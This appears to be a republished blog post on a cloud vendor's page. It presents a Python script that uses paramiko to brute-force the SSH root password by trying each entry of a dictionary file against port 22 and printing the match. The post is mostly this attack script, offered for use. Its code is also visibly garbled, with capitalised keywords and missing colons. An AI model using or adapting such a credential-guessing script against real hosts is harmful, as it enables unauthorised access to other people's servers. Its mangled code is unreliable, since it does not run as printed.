Python Brute force root password

Source: Internet
Author: User

Environment Preparation:

1. Installing the Paramiko module

2, the server SSH service to open port number 22nd


below, please see the code


#!/usr/bin/py

#-*-Coding:utf-8-*-

Import Paramiko


SSH = Paramiko. Sshclient ()#实例化类

Ssh.set_missing_host_key_policy (Paramiko. Autoaddpolicy ()) #连接时自动回答为yes

d = File ('/root/a.txt ')#字典文件路径


For I in D.xreadlines (): #循环密码字典

i = I.strip () #去掉前后的空格


If not I:#如果值为空则进入下一轮循环

Continue


Try

#开始尝试密码

Ssh.connect (hostname= ' localhost ', port=22, username= ' root ', password=i)

print ' root password is ', I#如果密码正确则打印密码

Break#跳出循环

Except

Continue#如果密码错误则进入下一轮循环

Else

print ' does not crack root password, please change the dictionary to try again ' #如果没有匹配到密码



This article is from the "Automated Operations" blog, please be sure to keep this source http://hongchen99.blog.51cto.com/12534281/1908511

Python Brute force root password

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.